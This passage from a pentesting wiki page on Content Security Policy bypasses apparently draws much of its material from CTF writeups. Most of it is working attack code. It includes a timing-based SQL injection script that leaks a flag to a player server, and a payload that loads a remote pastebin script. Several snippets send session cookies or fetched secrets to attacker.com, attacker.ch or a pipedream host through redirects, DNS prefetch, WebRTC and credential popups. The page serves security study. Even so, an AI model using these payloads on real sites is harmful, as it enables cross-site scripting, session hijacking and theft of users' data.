[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>) 600 601 ### img-src \*; via XSS (iframe) - Time attack 602 603 Notice the lack of the directive `'unsafe-inline'`\ 604 This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need. 605 606 This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:<sup>[[19]](#references)</sup> 607 608 ```html 609 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> 610 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload 611 <script> 612 let host = "http://x-oracle-v1.nn9ed.ka0labs.org" 613 function gen(x) { 614 x = escape(x.replace(/_/g, "\\_")) 615 return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23` 616 } 617 618 function gen2(x) { 619 x = escape(x) 620 return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23` 621 } 622 623 async function query(word, end = false) { 624 let h = performance.now() 625 f.location = end ? gen2(word) : gen(word) 626 await new Promise((r) => { 627 g.onload = r 628 }) 629 let diff = performance.now() - h 630 return diff > 300 631 } 632 633 let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("") 634 let postfix = "}" 635 636 async function run() { 637 let prefix = "nn9ed{" 638 while (true) { 639 let i = 0 640 for (i; i < alphabet.length; i++) { 641 let c = alphabet[i] 642 let t = await query(prefix + c) // Check what chars returns TRUE or FALSE 643 console.log(prefix, c, t) 644 if (t) { 645 console.log("FOUND!") 646 prefix += c 647 break 648 } 649 } 650 if (i == alphabet.length) { 651 console.log("missing chars") 652 break 653 } 654 let t = await query(prefix + "}", true) 655 if (t) { 656 prefix += "}" 657 break 658 } 659 } 660 new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag 661 console.log(prefix) 662 } 663 664 run() 665 </script> 666 ``` 667 668 ### Via Bookmarklets 669 670 This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. 671 672 For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).<sup>[[22]](#references)</sup> 673 674 ### CSP bypass by restricting CSP 675 676 In [**this CTF writeup**](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.<sup>[[23]](#references)</sup> 677 678 You can **restrict a CSP of an Iframe** with the **`csp`** attribute: 679 680 ```html 681 <iframe 682 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" 683 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe> 684 ``` 685 686 In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**<sup>[[24]](#references)</sup>\ 687 CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: 688 689 ```html 690 <meta 691 http-equiv="Content-Security-Policy" 692 content="script-src 'self' 693 'unsafe-eval' 'strict-dynamic' 694 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=' 695 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" /> 696 ``` 697 698 ### JS exfiltration with Content-Security-Policy-Report-Only 699 700 If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`<script>`** and because highly probable `unsafe-inline` isn't allowed by the CSP, this will **trigger a CSP error** and part of the script (containing the sensitive info) will be sent to the server from `Content-Security-Policy-Report-Only`. 701 702 For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).<sup>[[25]](#references)</sup> 703 704 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) 705 706 ```javascript 707 document.querySelector("DIV").innerHTML = 708 '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>' 709 ``` 710 711 ### Leaking Information with CSP and Iframe 712 713 - An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP. 714 - This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP. 715 - By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected. 716 717 It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior. 718 719 Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method: 720 721 ```markdown 722 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev 723 ``` 724 725 By monitoring which requests are blocked or allowed by the CSP, one can narrow down the possible characters in the secret subdomain, eventually uncovering the full URL. 726 727 Both methods exploit the nuances of CSP implementation and behavior in browsers, demonstrating how seemingly secure policies can inadvertently leak sensitive information. 728 729 Trick from [**here**](https://ctftime.org/writeup/29310).<sup>[[26]](#references)</sup> 730 731 ## Unsafe Technologies to Bypass CSP 732 733 ### PHP Errors when too many params 734 735 According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.<sup>[[27]](#references)</sup> 736 737 ### PHP response buffer overload 738 739 PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\ 740 Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent. 741 742 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).<sup>[[28]](#references)</sup> 743 744 ### Kill CSP via max_input_vars (headers already sent) 745 746 Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.<sup>[[29]](#references)</sup> 747 748 ```php 749 <?php 750 header("Content-Security-Policy: default-src 'none';"); 751 echo $_GET['xss']; 752 ``` 753 754 Example: 755 ```bash 756 # CSP in place → payload blocked by browser 757 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>" 758 759 # Exceed max_input_vars to force warnings before header() → CSP stripped 760 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000" 761 # Warning: PHP Request Startup: Input variables exceeded 1000 ... 762 # Warning: Cannot modify header information - headers already sent 763 ``` 764 765 ### Rewrite Error Page 766 767 From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.<sup>[[30]](#references)</sup><sup>[[34]](#references)</sup> 768 769 ```javascript 770 a = window.open("/" + "x".repeat(4100)) 771 setTimeout(function () { 772 a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">` 773 }, 1000) 774 ``` 775 776 ### SOME + 'self' + wordpress 777 778 SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check: 779 780 781 [Some Same Origin Method Execution](/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution) 782 783 Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots). 784 785 An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ 786 For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)<sup>[[31]](#references)</sup> 787 788 ## CSP Exfiltration Bypasses 789 790 If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.<sup>[[32]](#references)</sup> 791 792 ### Location 793 794 You could just update the location to send to the attacker's server the secret information: 795 796 ```javascript 797 var sessionid = document.cookie.split("=")[1] + "." 798 document.location = "https://attacker.com/?" + sessionid 799 ``` 800 801 ### Meta tag 802 803 You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) 804 805 ```html 806 <meta http-equiv="refresh" content="1; http://attacker.com" /> 807 ``` 808 809 ### DNS Prefetch 810 811 To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ 812 You can indicate a browser to pre-resolve a hostname with: `<link rel="dns-prefetch" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/something.com">` 813 814 You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: 815 816 ```javascript 817 var sessionid = document.cookie.split("=")[1] + "." 818 var body = document.getElementsByTagName("body")[0] 819 body.innerHTML = 820 body.innerHTML + 821 '<link rel="dns-prefetch" href="//' + 822 sessionid + 823 'attacker.ch">' 824 ``` 825 826 Another way: 827 828 ```javascript 829 const linkEl = document.createElement("link") 830 linkEl.rel = "prefetch" 831 linkEl.href = urlWithYourPreciousData 832 document.head.appendChild(linkEl) 833 ``` 834 835 In order to avoid this from happening the server can send the HTTP header: 836 837 ```text 838 X-DNS-Prefetch-Control: off 839 ``` 840 841 > [!TIP] 842 > Apparently, this technique doesn't work in headless browsers (bots) 843 844 ### WebRTC 845 846 On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. 847 848 Actually you can _leak_ informations using a _DNS request_. Check out this code: 849 850 ```javascript 851 ;(async () => { 852 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) 853 p.createDataChannel("") 854 p.setLocalDescription(await p.createOffer()) 855 })() 856 ``` 857 858 Another option: 859 860 ```javascript 861 var pc = new RTCPeerConnection({ 862 "iceServers":[ 863 {"urls":[ 864 "turn:74.125.140.127:19305?transport=udp" 865 ],"username":"_all_your_data_belongs_to_us", 866 "credential":"." 867 }] 868 }); 869 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); 870 ``` 871 872 ### CredentialsContainer 873 874 The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost. 875 876 ```javascript 877 navigator.credentials.store( 878 new FederatedCredential({ 879 id:"satoki", 880 name:"satoki", 881 provider:"https:"+your_data+"example.com", 882 iconURL:"https:"+your_data+"example.com" 883 }) 884 ) 885 ``` 886 887 888 ## Checking CSP Policies Online 889 890 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) 891 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) 892 893 ## Automatically creating CSP 894 895 The csper.io documentation describes generating a candidate policy from observed resources. A separate video walkthrough is available in reference 33.<sup>[[33]](#references)</sup> 896 897 - [csper.io: Generating a Content Security Policy](https://csper.io/docs/generating-content-security-policy) 898 899 ## References 900 901 - [1] [CSP – The How and Why of a Content Security Policy (HackDefense)](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) 902 - [2] [CSP Cheat Sheet – allowed data scheme (0xn3va)](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) 903 - [3] [CSP bypass on portswigger.net using Google script resources (joaxcar.com)](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) 904 - [4] [Content Security Policy (CSP) Bypass Techniques (bhavesh-thakur)](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) 905 - [5] [Stealing Passwords from Infosec Mastodon Without Bypassing CSP (PortSwigger Research)](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) 906 - [6] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp) 907 - [7] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy) 908 - [8] [AngularJS CSP bypass via cdnjs (blog.huli.tw)](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/) 909 - [9] [Google zer0pts / ImaginaryCTF 2023 writeup – reCAPTCHA CSP bypass](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) 910 - [10] [Bug bounty: how I made $50,000 from Google (landh.tech)](https://www.landh.tech/blog/20240304-google-hack-50000/) 911 - [11] [Google Bard data exfiltration via Apps Script (embracethered.com)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 912 - [12] [Weaponized Google OAuth triggers malicious WebSocket (cside.dev)](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) 913 - [13] [Dress Code: The Talk – third-party domain abuse (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) 914 - [14] [Exfiltrating users' private data using Google Analytics to bypass CSP (HUMAN Security)](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp) 915 - [15] [CSP bypass via Google Tag Manager (deteact.com)](https://blog.deteact.com/csp-bypass/) 916 - [16] [Beyond XSS – Chapter 2: CSP Bypass (aszx87410)](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) 917 - [17] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53 XSSChallengeWiki)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 918 - [18] [CSP Level 2 spec – Paths and Redirects (W3C)](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 919 - [19] [x-oracle CTF writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) 920 - [20] [Hiding JavaScript inside PNG files to bypass CSP (secjuice.com)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) 921 - [21] [Bypassing CSP with Policy Injection (PortSwigger Research)](https://portswigger.net/research/bypassing-csp-with-policy-injection) 922 - [22] [CSP bypass unveiled: the hidden threat of bookmarklets (socradar.io)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/) 923 - [23] [Google CTF 2023 – Web Biohazard solution (GitHub)](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution) 924 - [24] [CTF writeups – Issue 48: restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48) 925 - [25] [TSJ CTF 2022 – Nim Notes challenge (maple3142)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes) 926 - [26] [CTFtime writeup 29310](https://ctftime.org/writeup/29310) 927 - [27] [PHP header() bypass via too many parameters (YouTube talk)](https://www.youtube.com/watch?v=Sm4G6cAHjWM) 928 - [28] [justCTF 2020 writeup – Baby CSP (hackmd.io)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) 929 - [29] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) 930 - [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69) 931 - [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) 932 - [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/) 933 - [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) 934 - [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) 935 - [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/) 936 - [36] [cure53/XSSChallengeWiki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it)